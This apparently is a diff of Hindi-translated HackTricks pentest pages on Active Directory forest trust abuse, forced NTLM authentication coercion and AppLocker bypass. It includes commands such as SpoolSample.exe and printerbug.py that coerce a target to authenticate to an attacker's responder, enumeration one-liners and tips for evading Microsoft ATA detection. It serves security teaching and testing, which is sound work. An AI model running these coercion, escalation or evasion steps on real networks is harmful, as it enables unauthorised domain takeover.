- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये शिशु डोमेन के बीच स्थापित किए जाते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वन में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक पहुँचते हैं। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित किए जाते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर के डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने की अनुमति मिलती है और दो-तरफा पारगम्यता सुनिश्चित होती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **क्रॉस-लिंक ट्रस्ट**: "शॉर्टकट ट्रस्ट" के रूप में संदर्भित, ये शिशु डोमेन के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वनों में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक। क्रॉस-लिंक बनाने से यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर के डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन पेड़ों को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने और दो-तरफा पारगम्यता सुनिश्चित करने की अनुमति मिलती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेन के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेन के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
#### **विश्वास संबंधों में अन्य भिन्नताएँ**
- एक ट्रस्ट संबंध भी **पारगम्य** (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य** हो सकता है।
- एक ट्रस्ट संबंध को **द्विदिश ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
- एक ट्रस्ट संबंध को **द्विदिशीय ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
### हमले का मार्ग
1. **विश्वास संबंधों की गणना करें**
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेन के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
1. इस मामले में kerberoast एक और विकल्प हो सकता है।
3. **समझौता करें** उन **खातों** का जो **डोमेन के माध्यम से पिवट** कर सकते हैं।
3. **खातों का समझौता करें** जो **डोमेन के माध्यम से पिवट** कर सकते हैं।
हमलावरों को दूसरे डोमेन में संसाधनों तक पहुँच प्राप्त करने के लिए तीन प्राथमिक तंत्रों के माध्यम से पहुँच मिल सकती है:
- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापक" समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है।
- **विदेशी डोमेन समूह सदस्यता**: प्रमुख भी विदेशी डोमेन के भीतर समूहों के सदस्य हो सकते हैं। हालाँकि, इस विधि की प्रभावशीलता ट्रस्ट की प्रकृति और समूह के दायरे पर निर्भर करती है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए [An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf) शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
### शिशु-से-माता-पिता वन विशेषाधिकार वृद्धि
### शिशु-से-माता-पिता वन विशेषाधिकार बढ़ाना
```
Get-DomainTrust
@ -574,41 +574,41 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Injection
विश्वस का दुरुपयोग करते हुए बच्चे/माता-पिता डोमेन में एंटरप्राइज प्रशासक के रूप में वृद्धि करें SID-History injection के साथ:
विश्वसनीयता का दुरुपयोग करते हुए बच्चे/माता-पिता डोमेन में एंटरप्राइज प्रशासक के रूप में वृद्धि करें SID-History injection के साथ:
{{#ref}}
sid-history-injection.md
{{#endref}}
#### लिखने योग्य Configuration NC का शोषण करें
#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण
Configuration Naming Context (NC) के शोषण को समझना महत्वपूर्ण है। Configuration NC सक्रिय निर्देशिका (AD) वातावरण में एक जंगल के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा जंगल के भीतर प्रत्येक डोमेन नियंत्रक (DC) पर पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs Configuration NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
यह समझना महत्वपूर्ण है कि कॉन्फ़िगरेशन नामकरण संदर्भ (NC) का शोषण कैसे किया जा सकता है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के भीतर प्रत्येक डोमेन नियंत्रक (DC) पर पुनरुत्पादित होता है, जिसमें लिखने योग्य DC कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखता है। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
**रूट DC साइट से GPO लिंक करें**
Configuration NC के साइट्स कंटेनर में AD जंगल के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPOs को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPO को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
गहन जानकारी के लिए, कोई [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) पर शोध कर सकता है।
गहन जानकारी के लिए, कोई [SID फ़िल्टरिंग को बायपास करने पर शोध](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) की खोज कर सकता है।
**जंगल में किसी भी gMSA को समझौता करें**
**वन में किसी भी gMSA का समझौता करें**
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS रूट कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, Configuration NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS रूट कुंजी तक पहुंच प्राप्त करना और जंगल में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS रूट कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, कॉन्फ़िगरेशन NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS रूट कुंजी तक पहुंच प्राप्त करना और वन में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
विस्तृत विश्लेषण [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) पर चर्चा में पाया जा सकता है।
विस्तृत विश्लेषण [गोल्डन gMSA ट्रस्ट हमलों](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) पर चर्चा में पाया जा सकता है।
**Schema परिवर्तन हमला**
**स्कीमा परिवर्तन हमला**
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD ऑब्जेक्ट्स के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD Schema को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD ऑब्जेक्ट्स पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD ऑब्जेक्ट्स के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD ऑब्जेक्ट्स पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
अधिक पढ़ने के लिए [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर जाएं
अधिक पढ़ाई [स्कीमा परिवर्तन ट्रस्ट हमलों](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर उपलब्ध है
**DA से EA तक ADCS ESC5 के साथ**
**ADCS ESC5 के साथ DA से EA तक**
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) ऑब्जेक्ट्स पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो जंगल के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति देता है। चूंकि PKI ऑब्जेक्ट्स Configuration NC में स्थित होते हैं, एक लिखने योग्य बच्चे DC को समझौता करने से ESC5 हमलों को निष्पादित करने की अनुमति मिलती है।
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) ऑब्जेक्ट्स पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति देता है। चूंकि PKI ऑब्जेक्ट्स कॉन्फ़िगरेशन NC में स्थित होते हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
इस पर अधिक विवरण [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ा जा सकता है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
इस पर अधिक विवरण [DA से EA तक ESC5 के साथ](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ा जा सकता है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [बच्चे डोमेन प्रशासकों से एंटरप्राइज प्रशासकों तक बढ़ने](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
### बाहरी जंगल डोमेन - एक-तरफा (Inbound) या द्विदिश
### बाहरी वन डोमेन - एक-तरफा (इनबाउंड) या द्विदिश
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
इस परिदृश्य में **आपका डोमेन** एक बाहरी द्वारा **विश्वासित** है, जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
इस परिदृश्य में **आपका डोमेन** किसी **विभिन्न डोमेन** से प्रिंसिपल को कुछ **अधिकार** **विश्वास** कर रहा है।
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा सके** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
विश्वासित डोमेन को समझौता करने का एक और तरीका है [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) को खोजना जो डोमेन ट्रस्ट के **विपरीत दिशा** में बनाया गया है (जो बहुत सामान्य नहीं है)।
विश्वासित डोमेन को समझौता करने का एक और तरीका है उस मशीन पर इंतजार करना जहां **विश्वासित डोमेन का एक उपयोगकर्ता** **RDP** के माध्यम से लॉगिन कर सकता है। फिर, हमलावर RDP सत्र प्रक्रिया में कोड इंजेक्ट कर सकता है और **विक्टिम के मूल डोमेन** तक पहुंच सकता है।\
इसके अलावा, यदि **विक्टिम ने अपना हार्ड ड्राइव माउंट किया**, तो RDP सत्र प्रक्रिया से हमलावर **हार्ड ड्राइव के स्टार्टअप फ़ोल्डर** में **बैकडोर** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है।
इसके अलावा, यदि **विक्टिम ने अपना हार्ड ड्राइव माउंट किया है**, तो RDP सत्र प्रक्रिया से हमलावर **हार्ड ड्राइव के स्टार्टअप फ़ोल्डर** में **बैकडोर** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है।
{{#ref}}
rdp-sessions-abuse.md
@ -659,7 +659,7 @@ rdp-sessions-abuse.md
### **SID फ़िल्टरिंग:**
- SID इतिहास विशेषता का उपयोग करके हमलों के जोखिम को SID फ़िल्टरिंग द्वारा कम किया जाता है, जो सभी इंटर-फॉरेस्ट ट्रस्ट पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि इंट्रा-फॉरेस्ट ट्रस्ट सुरक्षित हैं, फॉरेस्ट को सुरक्षा सीमा के रूप में मानते हुए, न कि डोमेन के रूप में, जैसा कि माइक्रोसॉफ्ट का मानना है।
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जाता है।
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जा सकता है।
### **चयनात्मक प्रमाणीकरण:**
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## कुछ सामान्य रक्षा
@ -697,7 +699,7 @@ rdp-sessions-abuse.md
- **Microsoft ATA डिटेक्शन बायपास**:
- **उपयोगकर्ता सूचीकरण**: ATA डिटेक्शन को रोकने के लिए डोमेन कंट्रोलर्स पर सत्र सूचीकरण से बचें।
- **टिकट अनुकरण**: टिकट निर्माण के लिए **aes** कुंजियों का उपयोग करना डिटेक्शन से बचने में मदद करता है क्योंकि NTLM में डाउनग्रेड नहीं होता है।
- **टिकट अनुकरण**: टिकट निर्माण के लिए **aes** कुंजियों का उपयोग करना NTLM में डाउनग्रेड न करके पहचान से बचने में मदद करता है।
- **DCSync हमले**: ATA डिटेक्शन से बचने के लिए गैर-डोमेन कंट्रोलर से निष्पादन करना सलाह दी जाती है, क्योंकि डोमेन कंट्रोलर से सीधे निष्पादन करने पर अलर्ट ट्रिगर होगा।
## संदर्भ

View File

@ -1,4 +1,4 @@
# Force NTLM Privileged Authentication
# NTLM विशेषाधिकार प्रमाणीकरण को मजबूर करना
{{#include ../../banners/hacktricks-training.md}}
@ -6,20 +6,20 @@
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) एक **संग्रह** है **दूरस्थ प्रमाणीकरण ट्रिगर्स** का जो C# में MIDL कंपाइलर का उपयोग करके कोडित किया गया है ताकि 3rd पार्टी निर्भरताओं से बचा जा सके।
## Spooler Service Abuse
## स्पूलर सेवा का दुरुपयोग
यदि _**Print Spooler**_ सेवा **सक्रिय** है, तो आप कुछ पहले से ज्ञात AD क्रेडेंशियल्स का उपयोग करके डोमेन कंट्रोलर के प्रिंट सर्वर से नए प्रिंट कार्यों पर एक **अपडेट** **अनुरोध** कर सकते हैं और बस इसे **किसी सिस्टम को सूचना भेजने** के लिए कह सकते हैं।\
ध्यान दें कि जब प्रिंटर किसी मनमाने सिस्टम को सूचना भेजता है, तो से उस **सिस्टम** के खिलाफ **प्रमाणित** होना आवश्यक है। इसलिए, एक हमलावर _**Print Spooler**_ सेवा को किसी मनमाने सिस्टम के खिलाफ प्रमाणित करवा सकता है, और सेवा इस प्रमाणीकरण में **कंप्यूटर खाता** का उपयोग करेगी।
यदि _**प्रिंट स्पूलर**_ सेवा **सक्रिय** है, तो आप कुछ पहले से ज्ञात AD क्रेडेंशियल्स का उपयोग करके डोमेन कंट्रोलर के प्रिंट सर्वर से नए प्रिंट कार्यों पर **अपडेट** के लिए **अनुरोध** कर सकते हैं और बस इसे **किसी सिस्टम को सूचना भेजने** के लिए कह सकते हैं।\
ध्यान दें कि जब प्रिंटर किसी मनमाने सिस्टम को सूचना भेजता है, तो से उस **सिस्टम** के खिलाफ **प्रमाणित** होना आवश्यक है। इसलिए, एक हमलावर _**प्रिंट स्पूलर**_ सेवा को किसी मनमाने सिस्टम के खिलाफ प्रमाणित करवा सकता है, और सेवा इस प्रमाणीकरण में **कंप्यूटर खाता** का उपयोग करेगी।
### Finding Windows Servers on the domain
### डोमेन पर Windows सर्वरों को खोजना
PowerShell का उपयोग करके, Windows बॉक्सों की एक सूची प्राप्त करें। सर्वर आमतौर पर प्राथमिकता होते हैं, इसलिए आइए वहीं ध्यान केंद्रित करें:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### स्पूलर सेवाओं की खोज करना
### Spूलर सेवाओं की खोज करना
थोड़ा संशोधित @mysmartlogin's (विन्सेंट ले टॉक्स का) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) का उपयोग करके देखें कि क्या स्पूलर सेवा सुन रही है:
थोड़ा संशोधित @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) का उपयोग करते हुए देखें कि क्या Spooler सेवा सुन रही है:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@ -34,24 +34,26 @@ rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
या [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) या [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) का उपयोग करें यदि आप Linux पर हैं
या [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) या [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) का उपयोग करें यदि आप Linux पर हैं
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Unconstrained Delegation के साथ संयोजन
यदि एक हमलावर पहले से ही [Unconstrained Delegation](unconstrained-delegation.md) के साथ एक कंप्यूटर को समझौता कर चुका है, तो हमलावर **प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणित करवा सकता है**। अनियंत्रित प्रतिनिधित्व के कारण, **प्रिंटर के कंप्यूटर खाते का TGT** **अनियंत्रित प्रतिनिधित्व वाले कंप्यूटर की** **मेमोरी** में **सहेजा जाएगा**। चूंकि हमलावर पहले से ही इस होस्ट को समझौता कर चुका है, वह **इस टिकट को पुनः प्राप्त** कर सकेगा और इसका दुरुपयोग कर सकेगा ([Pass the Ticket](pass-the-ticket.md))।
यदि एक हमलावर पहले से ही [Unconstrained Delegation](unconstrained-delegation.md) के साथ एक कंप्यूटर को समझौता कर चुका है, तो हमलावर **प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणित करवा सकता है**। अनियंत्रित प्रतिनिधित्व के कारण, **प्रिंटर के कंप्यूटर खाते का TGT** **अनियंत्रित प्रतिनिधित्व वाले कंप्यूटर की** **मेमोरी** में **सहेजा जाएगा**। चूंकि हमलावर पहले से ही इस होस्ट को समझौता कर चुका है, वह **इस टिकट को प्राप्त कर सकेगा** और इसका दुरुपयोग कर सकेगा ([Pass the Ticket](pass-the-ticket.md))।
## RCP बल प्रमाणन
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
`PrivExchange` हमला **Exchange Server `PushSubscription` फीचर** में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को HTTP के माध्यम से किसी भी क्लाइंट-प्रदानित होस्ट के खिलाफ Exchange सर्वर को प्रमाणित करने के लिए मजबूर करता है।
`PrivExchange` हमला **Exchange Server `PushSubscription` फीचर** में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को HTTP के माध्यम से किसी भी क्लाइंट-प्रदानित होस्ट के खिलाफ प्रमाणित करने के लिए Exchange सर्वर को मजबूर करने की अनुमति देता है।
डिफ़ॉल्ट रूप से, **Exchange सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास **डोमेन प्री-2019 संचयी अपडेट पर WriteDacl विशेषाधिकार** हैं)। इस दोष का उपयोग **LDAP पर जानकारी को रिले करने और बाद में डोमेन NTDS डेटाबेस को निकालने** के लिए किया जा सकता है। उन मामलों में जहां LDAP पर रिले करना संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्ट पर रिले और प्रमाणित करने के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन व्यवस्थापक तक तात्कालिक पहुंच मिलती है।
डिफ़ॉल्ट रूप से, **Exchange सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास **डोमेन प्री-2019 समेकित अपडेट पर WriteDacl विशेषाधिकार** हैं)। इस दोष का उपयोग **LDAP को जानकारी भेजने और बाद में डोमेन NTDS डेटाबेस को निकालने** के लिए किया जा सकता है। उन मामलों में जहां LDAP को रिले करना संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्टों के खिलाफ रिले और प्रमाणित करने के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन एडमिन तक तात्कालिक पहुंच मिलती है।
## Windows के अंदर

View File

@ -26,19 +26,19 @@ $a.rulecollections
### बायपास
- AppLocker नीति को बायपास करने के लिए उपयोगी **लिखने योग्य फ़ोल्डर**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर कुछ भी निष्पादित करने की अनुमति दे रहा है, तो ऐसे **लिखने योग्य फ़ोल्डर** हैं जिनका आप **बायपास करने के लिए उपयोग कर सकते हैं**
- AppLocker नीति को बायपास करने के लिए उपयोगी **लिखने योग्य फ़ोल्डर**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर कुछ भी निष्पादित करने की अनुमति दे रहा है, तो ऐसे **लिखने योग्य फ़ोल्डर** हैं जिनका आप **बायपास करने** के लिए उपयोग कर सकते हैं।
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ AppLocker को बायपास करने के लिए उपयोगी हो सकती हैं।
